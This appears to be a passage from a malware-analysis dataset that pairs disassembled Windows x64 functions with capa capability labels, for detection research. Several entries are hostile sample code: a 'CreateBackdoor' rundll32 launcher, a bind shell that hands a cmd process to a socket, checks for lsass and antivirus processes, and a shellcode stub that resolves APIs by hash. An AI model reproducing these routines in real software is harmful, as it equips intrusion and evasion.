joyce8/EMBER2024-capa huggingface dataset:
Function at 0x55dc00
Capabilities:
Encode data using xor

Disassembly:
mov rax, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x10]
mov rdx, qword [rsp + 8]
pxor xmm15, xmm15
pcmpeqd xmm14, xmm14
psubd xmm15, xmm14
movd xmm14, eax
pshufd xmm14, xmm14, 0
pxor xmm0, xmm0
pxor xmm1, xmm1
pxor xmm2, xmm2
pxor xmm3, xmm3
pxor xmm4, xmm4
pxor xmm5, xmm5
mov rax, 0x10
movdqu xmm13, xmm15
movdqu xmm12, xmm13
paddd xmm13, xmm15
pcmpeqd xmm12, xmm14
movdqu xmm6, xmmword [rdi]
movdqu xmm7, xmmword [rdi + 0x10]
movdqu xmm8, xmmword [rdi + 0x20]
movdqu xmm9, xmmword [rdi + 0x30]
movdqu xmm10, xmmword [rdi + 0x40]
movdqu xmm11, xmmword [rdi + 0x50]
add rdi, 0x60
pand xmm6, xmm12
pand xmm7, xmm12
pand xmm8, xmm12
pand xmm9, xmm12
pand xmm10, xmm12
pand xmm11, xmm12
pxor xmm0, xmm6
pxor xmm1, xmm7
pxor xmm2, xmm8
pxor xmm3, xmm9
pxor xmm4, xmm10
pxor xmm5, xmm11
dec rax
jne 0x55dc4d
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
movdqu xmmword [rdx + 0x20], xmm2
movdqu xmmword [rdx + 0x30], xmm3
movdqu xmmword [rdx + 0x40], xmm4
movdqu xmmword [rdx + 0x50], xmm5
ret

Function at 0x55dce0
Capabilities:
Encode data using xor

Disassembly:
mov rax, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x10]
mov rdx, qword [rsp + 8]
pxor xmm15, xmm15
pcmpeqd xmm14, xmm14
psubd xmm15, xmm14
movd xmm14, eax
pshufd xmm14, xmm14, 0
pxor xmm0, xmm0
pxor xmm1, xmm1
pxor xmm2, xmm2
pxor xmm3, xmm3
mov rax, 0x10
movdqu xmm13, xmm15
movdqu xmm12, xmm13
paddd xmm13, xmm15
pcmpeqd xmm12, xmm14
movdqu xmm4, xmmword [rdi]
movdqu xmm5, xmmword [rdi + 0x10]
movdqu xmm6, xmmword [rdi + 0x20]
movdqu xmm7, xmmword [rdi + 0x30]
movdqu xmm8, xmmword [rdi + 0x40]
movdqu xmm9, xmmword [rdi + 0x50]
movdqu xmm10, xmmword [rdi + 0x60]
movdqu xmm11, xmmword [rdi + 0x70]
add rdi, 0x80
pand xmm4, xmm12
pand xmm5, xmm12
pand xmm6, xmm12
pand xmm7, xmm12
movdqu xmm12, xmm13
paddd xmm13, xmm15
pcmpeqd xmm12, xmm14
pand xmm8, xmm12
pand xmm9, xmm12
pand xmm10, xmm12
pand xmm11, xmm12
pxor xmm0, xmm4
pxor xmm1, xmm5
pxor xmm2, xmm6
pxor xmm3, xmm7
pxor xmm0, xmm8
pxor xmm1, xmm9
pxor xmm2, xmm10
pxor xmm3, xmm11
dec rax
jne 0x55dd25
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
movdqu xmmword [rdx + 0x20], xmm2
movdqu xmmword [rdx + 0x30], xmm3
ret
Function at 0x57f900
Capabilities:
Hash data using sha224
Hash data using sha256

Disassembly:
mov qword [rsp + 8], rax
test byte [rax], al
cmp byte [rax + 0x70], 0
jne 0x57f90f
jmp 0x57f97b
test byte [rax], al
mov dword [rax], 0xc1059ed8
mov rax, qword [rsp + 8]
test byte [rax], al
mov dword [rax + 4], 0x367cd507
mov rax, qword [rsp + 8]
test byte [rax], al
mov dword [rax + 8], 0x3070dd17
mov rax, qword [rsp + 8]
test byte [rax], al
mov dword [rax + 0xc], 0xf70e5939
mov rax, qword [rsp + 8]
test byte [rax], al
mov dword [rax + 0x10], 0xffc00b31
mov rax, qword [rsp + 8]
test byte [rax], al
mov dword [rax + 0x14], 0x68581511
mov rax, qword [rsp + 8]
test byte [rax], al
mov dword [rax + 0x18], 0x64f98fa7
mov rax, qword [rsp + 8]
test byte [rax], al
mov dword [rax + 0x1c], 0xbefa4fa4
jmp 0x57f9e7
test byte [rax], al
mov dword [rax], 0x6a09e667
mov rax, qword [rsp + 8]
test byte [rax], al
mov dword [rax + 4], 0xbb67ae85
mov rax, qword [rsp + 8]
test byte [rax], al
mov dword [rax + 8], 0x3c6ef372
mov rax, qword [rsp + 8]
test byte [rax], al
mov dword [rax + 0xc], 0xa54ff53a
mov rax, qword [rsp + 8]
test byte [rax], al
mov dword [rax + 0x10], 0x510e527f
mov rax, qword [rsp + 8]
test byte [rax], al
mov dword [rax + 0x14], 0x9b05688c
mov rax, qword [rsp + 8]
test byte [rax], al
mov dword [rax + 0x18], 0x1f83d9ab
mov rax, qword [rsp + 8]
test byte [rax], al
mov dword [rax + 0x1c], 0x5be0cd19
jmp 0x57f9e7
mov rax, qword [rsp + 8]
test byte [rax], al
mov qword [rax + 0x60], 0
mov rax, qword [rsp + 8]
test byte [rax], al
mov qword [rax + 0x68], 0
ret
Function at 0x5a8680
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x5a8846
sub rsp, 0x58
mov qword [rsp + 0x50], rbp
lea rbp, [rsp + 0x50]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rdi
movzx eax, byte [0x007e5522]
mov byte [rsp + 0x27], al
test al, al
jne 0x5a86bd
jmp 0x5a86d4
mov rax, qword [rsp + 0x70]
cmp rax, 0x100
mov qword [rsp + 0x30], rax
setge byte [rsp + 0x27]
jmp 0x5a86d6
jmp 0x5a86d6
cmp byte [rsp + 0x27], 0
jne 0x5a86e5
nop dword [rax]
jmp 0x5a87ed
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x30], rax
lea rbx, [rax - 0x80]
mov qword [rsp + 0x28], rbx
nop dword [rax + rax]
test rbx, 0x7f
jne 0x5a870b
jmp 0x5a8718
add rax, 0xffffffffffffff40
mov qword [rsp + 0x28], rax
jmp 0x5a871a
jmp 0x5a871a
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x78]
mov rax, qword [rsp + 0x68]
cmp rdx, rcx
jae 0x5a8733
jmp 0x5a8840
jmp 0x5a8735
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rdx
mov rbx, qword [rsp + 0x60]
mov qword [rsp], rbx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rcx
mov qword [rsp + 0x18], rdx
nop dword [rax]
call fcn.005a9c80
xorps xmm15, xmm15
mov r14, qword [0x007e5710]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x78]
jmp 0x5a878d
cmp rcx, rax
jae 0x5a8797
jmp 0x5a8837
sub rbx, rax
mov rsi, rbx
neg rbx
sar rbx, 0x3f
and rbx, rax
add rdx, rbx
mov qword [rsp + 0x38], rdx
sub rcx, rax
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rsi
mov rax, qword [rsp + 0x60]
mov qword [rsp], rax
mov qword [rsp + 8], rdx
mov qword [rsp + 0x10], rcx
mov qword [rsp + 0x18], rsi
call fcn.005a8900
xorps xmm15, xmm15
mov r14, qword [0x007e5710]
mov r14, qword gs:[r14]
mov r14, qword [r14]
jmp 0x5a882d
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x60]
mov qword [rsp], rbx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rcx
mov qword [rsp + 0x18], rdx
call fcn.005a8900
xorps xmm15, xmm15
mov r14, qword [0x007e5710]
mov r14, qword gs:[r14]
mov r14, qword [r14]
jmp 0x5a882d
mov rbp, qword [rsp + 0x50]
add rsp, 0x58
ret
call fcn.004695a0
nop dword [rax]
call fcn.00469560
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.00466e80
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp fcn.005a8680
Function at 0x14007363a
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1400a32e0
mov rax, rcx
neg rcx
test rax, 7
je 0x1400a32fd
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x1400a3358
test al, 7
jne 0x1400a32f0
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x1400a3311
mov rdx, qword [rax - 8]
test dl, dl
je 0x1400a3382
test dh, dh
je 0x1400a337c
shr rdx, 0x10
test dl, dl
je 0x1400a3376
test dh, dh
je 0x1400a3370
shr rdx, 0x10
test dl, dl
je 0x1400a336a
test dh, dh
je 0x1400a3364
shr edx, 0x10
test dl, dl
je 0x1400a335e
test dh, dh
jne 0x1400a3311
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret

Function at 0x140073cde
Capabilities:
Access peb ldr_data

Disassembly:
jmp 0x140078c80
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1c8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x3a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1e8]
mov rax, qword [0x1401f10d8]
xor rax, rbp
mov qword [rbp + 0x198], rax
lea rcx, [0x140203084]
call fcn.140075156
mov rax, qword gs:[0x30]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
add rax, 0x20
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov rax, qword [rax]
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
sub rax, 0x10
mov qword [rbp + 0x88], rax
lea rdx, [rbp + 0xa8]
mov rax, qword [rbp + 0x88]
mov rcx, qword [rax + 0x50]
call fcn.140074b0c
mov rdx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0xa8]
call fcn.140073694
mov qword [rbp + 0xc8], rax
mov rcx, qword [rbp + 0xa8]
call qword [0x140201438]
cmp qword [rbp + 0xc8], 0
je 0x140078d61
mov rax, qword [rbp + 0x88]
mov rax, qword [rax + 0x30]
jmp 0x140078d78
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x48]
cmp qword [rbp + 0x68], rax
jne 0x140078cfd
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140161f70]
call fcn.1400748af
mov rax, rdi
mov rcx, qword [rbp + 0x198]
xor rcx, rbp
call fcn.140073801
lea rsp, [rbp + 0x1a8]
pop rdi
pop rbp
ret
Function at 0x1400741c0
Capabilities:
Parse pe header

Disassembly:
jmp 0x14007ec30
sub rsp, 0x38
xor ecx, ecx
call qword [0x1402010d0]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14007ec50
xor al, al
jmp 0x14007ecd1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14007ec63
xor al, al
jmp 0x14007ecd1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14007ec8d
xor al, al
jmp 0x14007ecd1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14007eca1
xor al, al
jmp 0x14007ecd1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14007ecb3
xor al, al
jmp 0x14007ecd1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14007eccf
xor al, al
jmp 0x14007ecd1
mov al, 1
add rsp, 0x38
ret
Function at 0x1800011c0
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0x8f0
mov rax, qword [0x18001a008]
xor rax, rsp
mov qword [rsp + 0x8e0], rax
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
xor eax, eax
lea rcx, [rsp + 0xe0]
mov ebx, 0x400
mov dword [rsp + 0xd4], eax
mov r8d, ebx
mov qword [rsp + 0x60], rax
xor edx, edx
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rsp + 0x84], xmm0
movups xmmword [rsp + 0x94], xmm0
movups xmmword [rsp + 0xa4], xmm0
movups xmmword [rsp + 0xb4], xmm0
movups xmmword [rsp + 0xc4], xmm0
movups xmmword [rsp + 0x50], xmm0
call fcn.180003480
mov ecx, ebx
lea rax, [rsp + 0xe0]
cmp word [rax], 0
je 0x180001257
add rax, 2
sub rcx, 1
jne 0x180001247
xor r9d, r9d
mov rax, rbx
sub rax, rcx
test rcx, rcx
cmove rax, r9
je 0x1800012be
lea rcx, [rsp + 0xe0]
lea rcx, [rcx + rax*2]
sub rbx, rax
je 0x1800012af
lea r8, str.rundll32_windowscoredeviceinfo.dll_CreateBackdoor
mov eax, 0x7ffffffe
sub r8, rcx
nop dword [rax]
test rax, rax
je 0x1800012af
movzx edx, word [r8 + rcx]
test dx, dx
je 0x1800012af
mov word [rcx], dx
dec rax
add rcx, 2
sub rbx, 1
jne 0x180001290
test rbx, rbx
lea rax, [rcx - 2]
cmovne rax, rcx
mov word [rax], r9w
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0xe0]
lea rax, [rsp + 0x70]
xor ecx, ecx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r9
mov qword [rsp + 0x30], r9
mov dword [rsp + 0x28], r9d
mov dword [rsp + 0x20], r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x8e0]
xor rcx, rsp
call fcn.1800019b0
add rsp, 0x8f0
pop rbx
ret
Function at 0x180001330
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get comspec environment variable
Initialize winsock library
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x1160]
mov eax, 0x1260
call fcn.18000ed60
sub rsp, rax
mov rax, qword [0x18001a008]
xor rax, rsp
mov qword [rbp + 0x1150], rax
mov edi, 2
lea rdx, [rbp - 0x10]
mov ecx, edi
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1800014e0
mov qword [rsp + 0x1270], rbx
lea edx, [rdi - 1]
mov qword [rsp + 0x1278], rsi
lea r8d, [rdi + 4]
xor esi, esi
xor r9d, r9d
mov dword [rsp + 0x28], esi
mov ecx, edi
mov dword [rsp + 0x20], esi
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov ecx, 0x7f000001
mov word [rbp - 0x20], di
mov rbx, rax
call qword [sym.imp.WS2_32.dll_htonl]
mov ecx, 0x539
mov dword [rbp - 0x1c], eax
call qword [sym.imp.WS2_32.dll_htons]
lea r8d, [rdi + 0xe]
mov rcx, rbx
lea rdx, [rbp - 0x20]
mov word [rbp - 0x1e], ax
call qword [sym.imp.WS2_32.dll_bind]
test eax, eax
jne 0x1800014d0
mov edx, 0x7fffffff
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_listen]
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_accept]
xorps xmm0, xmm0
lea rdx, [rbp + 0x190]
mov rbx, rax
lea rcx, str.COMSPEC
movups xmmword [rbp - 0x40], xmm0
xor eax, eax
mov qword [rbp - 0x38], rbx
movups xmmword [rsp + 0x70], xmm0
mov r8d, 0x7d0
mov qword [rsp + 0x60], rax
movups xmmword [rbp - 0x60], xmm0
mov dword [rsp + 0x70], 0x68
movups xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x54], 0x101
movups xmmword [rbp - 0x80], xmm0
mov word [rbp - 0x50], si
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x30], rbx
movups xmmword [rsp + 0x50], xmm0
mov qword [rbp - 0x40], rbx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x190]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
mov rbx, qword [rsp + 0x1270]
mov rsi, qword [rsp + 0x1278]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov rcx, qword [rbp + 0x1150]
xor rcx, rsp
call fcn.1800019b0
mov rdi, qword [rsp + 0x1280]
add rsp, 0x1260
pop rbp
ret
Function at 0x180001510
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x270
mov rax, qword [0x18001a008]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov dword [rsp + 0x20], 0x238
mov rbx, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180001676
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
lea rax, [rsp + 0x4c]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp word [rax + rcx*2], 0
jne 0x180001570
cmp qword [rbx + 0x18], 8
mov r9, rbx
jb 0x180001587
mov r9, qword [rbx]
mov r10, qword [rbx + 0x10]
lea rdx, [rsp + 0x4c]
cmp rcx, r10
mov r8, r10
cmovb r8, rcx
test r8, r8
je 0x1800015c4
lea rax, [rsp + 0x4c]
sub r9, rax
nop word [rax + rax]
movzx eax, word [rdx]
cmp word [r9 + rdx], ax
jne 0x1800015cf
add rdx, 2
sub r8, 1
jne 0x1800015b0
cmp r10, rcx
jb 0x1800015cf
jbe 0x180001699
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x18000166d
nop word [rax + rax]
lea rcx, [rsp + 0x4c]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x180001600
cmp qword [rbx + 0x18], 8
mov r9, rbx
jb 0x180001617
mov r9, qword [rbx]
mov r10, qword [rbx + 0x10]
lea rdx, [rsp + 0x4c]
cmp rax, r10
mov r8, r10
cmovb r8, rax
test r8, r8
je 0x180001654
lea rcx, [rsp + 0x4c]
sub r9, rcx
nop word [rax + rax]
movzx ecx, word [rdx]
cmp word [r9 + rdx], cx
jne 0x18000165b
add rdx, 2
sub r8, 1
jne 0x180001640
cmp r10, rax
jb 0x18000165b
jbe 0x180001699
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1800015f0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1800019b0
mov rbx, qword [rsp + 0x280]
add rsp, 0x270
pop rdi
ret
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
jmp 0x180001678
Function at 0x1800016b0
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x68
mov rax, qword [0x18001a008]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp edx, 1
jne 0x180001842
lea rdx, str.svchost.exe
lea rcx, [rsp + 0x30]
call fcn.180001860
lea rcx, [rsp + 0x30]
call fcn.180001510
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x180001729
mov rcx, qword [rsp + 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001724
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001859
call fcn.180001a0c
lea rdx, str.lsass.exe
lea rcx, [rsp + 0x30]
call fcn.180001860
lea rcx, [rsp + 0x30]
call fcn.180001510
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x180001786
mov rcx, qword [rsp + 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001781
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001859
call fcn.180001a0c
lea rdx, str.ALYac.aye
lea rcx, [rsp + 0x30]
call fcn.180001860
lea rcx, [rsp + 0x30]
call fcn.180001510
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x1800017df
mov rcx, qword [rsp + 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800017da
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001859
call fcn.180001a0c
lea rax, [rsp + 0x50]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREYourSoftware
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x180001842
lea rcx, [0x1800179a8]
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], rcx
lea r9d, [rax + 1]
mov rcx, qword [rsp + 0x50]
lea rdx, str.YourValue
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1800019b0
add rsp, 0x68
ret
call fcn.180005efc
int3
Function at 0x1800095f4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x180009624
xor eax, eax
jmp 0x1800096e7
mov rbp, rbx
cmp word [rax], si
je 0x180009649
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180009630
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18000962c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180009514
movsxd r14, eax
test eax, eax
jne 0x180009687
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18000961d
mov rcx, r14
call fcn.18000791c
mov rdi, rax
test rax, rax
jne 0x1800096a0
xor ecx, ecx
call fcn.18000797c
jmp 0x18000967c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180009514
test eax, eax
jne 0x1800096d1
mov rcx, rdi
call fcn.18000797c
jmp 0x1800096db
xor ecx, ecx
call fcn.18000797c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x18000ed20
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x18000ed48
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x18000ed48
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
push rcx
push rsi
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
movzx rcx, word [rdx + 0x4a]
mov rsi, qword [rdx + 0x50]
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
push rax
mov ecx, dword [rax + 0x18]
mov r8d, dword [rax + 0x20]
add r8, rdx
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
pop r8
add rax, rdx
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x1400013fc
Capabilities:
Hash data using djb2

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x140031058]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rax, qword [0x1400333f0]
xor r13d, r13d
mov r15d, ecx
test rax, rax
jne 0x140001440
call fcn.140003dae
mov rax, qword [rax + 0x18]
mov r14, qword [rax + 0x10]
mov rbx, r14
test r15d, r15d
jne 0x140001459
mov rax, qword [r14 + 0x30]
jmp 0x14000151a
mov rdi, qword [rbx + 0x60]
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov esi, 0x1505
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x18], r13
or r8, 0xffffffffffffffff
inc r8
cmp word [rdi + r8*2], r13w
jne 0x140001475
mov rdx, rdi
lea rcx, [rbp - 0x30]
call fcn.140001990
test rdi, rdi
jne 0x140001495
mov esi, r13d
jmp 0x1400014f8
mov rdx, qword [rbp - 0x30]
lea rcx, [rbp - 0x30]
mov r8, qword [rbp - 0x18]
lea rdi, [rbp - 0x30]
mov rax, qword [rbp - 0x20]
cmp r8, 8
cmovae rcx, rdx
cmovae rdi, rdx
lea r12, [rcx + rax*2]
cmp rdi, r12
je 0x1400014da
movzx ecx, word [rdi]
call fcn.14000b134
mov word [rdi], ax
add rdi, 2
cmp rdi, r12
jne 0x1400014be
mov r8, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x30]
cmp r8, 8
lea rax, [rbp - 0x30]
cmovae rax, rdx
jmp 0x1400014f1
imul esi, esi, 0x21
lea rax, [rax + 2]
add esi, ecx
movzx ecx, word [rax]
test ecx, ecx
jne 0x1400014e8
lea rcx, [rbp - 0x30]
call fcn.14000192c
cmp r15d, esi
je 0x140001516
mov rbx, qword [rbx]
cmp qword [rbx], r14
jne 0x140001459
xor eax, eax
jmp 0x14000151a
mov rax, qword [rbx + 0x30]
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140004030
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret